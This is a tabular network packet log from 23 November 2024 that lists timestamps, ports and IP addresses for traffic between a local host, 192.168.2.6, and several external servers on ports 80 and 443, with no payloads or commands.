Nov 23, 2024 13:28:35.341527939 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.342437983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.342506886 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.342622042 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.344270945 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.344379902 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.344425917 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.361030102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.361093998 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.361215115 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.403762102 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.403778076 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.404119968 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.424206018 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.424307108 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.424387932 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.425539017 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.425720930 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.425777912 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.427953005 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.466510057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.466572046 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.466603994 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.467585087 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.467641115 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.467703104 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.470041037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.470105886 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.483484983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.483515024 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.483778000 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.508738995 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.508860111 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.509098053 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.510169983 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.510288954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.510401011 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.512399912 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.519968987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.520023108 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.520087004 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.521126986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.521183968 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.551235914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.551350117 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.551515102 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.552521944 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.552572966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.552747965 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.554905891 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.555661917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.555695057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.555711985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.571531057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.571587086 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.571619034 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.593219995 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.593276978 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.593339920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.594453096 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.594505072 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.594541073 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.614751101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.614890099 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.614933968 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.634531975 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.634597063 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.634675026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.635258913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.635315895 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.635376930 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.637738943 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.637798071 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.637856960 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.640192986 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.640264034 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.675328016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.675363064 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.675426960 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.676466942 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.677086115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.677134037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.677196980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.679274082 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.679332018 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.679403067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.681719065 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.681768894 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.693846941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.693903923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.694120884 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.719146967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.719160080 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.719235897 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.719774961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.719882011 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.720880985 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.721220970 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.721345901 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.721447945 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.723740101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.723788977 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.725020885 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.725481987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.725620031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.725712061 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.727925062 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.727937937 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.727978945 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.781862020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.781908989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.782041073 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.846121073 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.846177101 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.846288919 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.847455025 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.847533941 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.847587109 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.849807024 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.850598097 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.850656033 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.850677967 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.853039026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.853091002 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.853157997 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.855520010 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.855578899 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.855612993 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.857985973 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.858038902 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.858098030 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.860443115 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.860498905 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.860554934 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.862904072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.862962008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.863003016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.865374088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.865421057 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.865422010 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.888514996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.888551950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.888592005 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.889692068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.889748096 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.889834881 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.904687881 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.904829979 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.904865026 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.905941010 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.905987978 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.912323952 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.912448883 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.912492037 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.913511038 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.942709923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.942830086 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.942840099 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.943887949 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.943944931 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.972826004 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.972940922 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.972986937 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.974169016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.974220037 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.974270105 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.976763964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.976865053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.976928949 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:35.992778063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.992845058 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:35.992886066 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.034683943 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:36.034800053 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:36.036983013 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:36.037003994 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:36.037257910 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:36.047852039 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.047945976 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.048101902 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.049014091 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.049154043 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.049204111 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.051433086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.052179098 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.052237034 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.052285910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.054645061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.054702997 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.080055952 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:36.088784933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.088881016 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.088932991 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.089963913 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.090363979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.090415001 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.090449095 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.092787027 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.092837095 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.093101978 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:36.093142033 CET	49794	443	192.168.2.6	104.21.33.116
Nov 23, 2024 13:28:36.093209028 CET	443	49794	104.21.33.116	192.168.2.6
Nov 23, 2024 13:28:36.098742962 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.098859072 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.098902941 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.132353067 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.132487059 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.132544041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.133372068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.140980959 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.141036034 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.141161919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.142328978 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.142340899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.142376900 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.153105021 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.153197050 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.153564930 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.182190895 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.182252884 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.182374954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.183506012 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.183545113 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.183573008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.185137987 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.185194016 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.185215950 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.202388048 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.202431917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.202467918 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.212274075 CET	80	49793	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:36.212342978 CET	49793	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:36.225914955 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:36.225919008 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:36.251930952 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.258272886 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.258327961 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.258378029 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.285279989 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.285368919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.285423994 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.286474943 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.286591053 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.286638975 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.288872004 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.289690971 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.289747953 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.289799929 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.292136908 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.292198896 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.327625036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.327714920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.327769041 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.328955889 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.351290941 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:36.351408958 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:36.351579905 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:36.351605892 CET	49799	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:36.351986885 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.352020979 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:36.352037907 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.352164984 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.353171110 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.353223085 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.392544985 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.392606020 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.392685890 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.393384933 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.393558979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.393610954 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.395716906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.395781040 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.395921946 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.434447050 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.434591055 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.434679031 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.435584068 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.435911894 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.435961008 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.436017036 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.438371897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.438430071 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.468471050 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.468485117 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.468559027 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.476219893 CET	80	49799	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:36.537075996 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.537153006 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.537199974 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.538280964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.538419008 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.538469076 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.540729046 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.541477919 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.541528940 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.541610956 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.543950081 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.544007063 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.544048071 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.546406031 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.546457052 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.562465906 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.562515974 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.562568903 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.584270000 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.584351063 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.584399939 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.585410118 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.604485035 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.604533911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.604562044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.605618954 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.605660915 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.644987106 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.645000935 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.645047903 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.678767920 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.678819895 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.678865910 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.708925962 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.708987951 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.709043026 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.709837914 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.709925890 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.709969997 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.712274075 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.767560959 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.780260086 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.780330896 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.780376911 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.792651892 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.792704105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.792766094 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.821136951 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.821309090 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.821365118 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.822312117 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.822362900 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:36.822408915 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:36.834778070 CET	80	49758	34.116.198.130	192.168.2.6
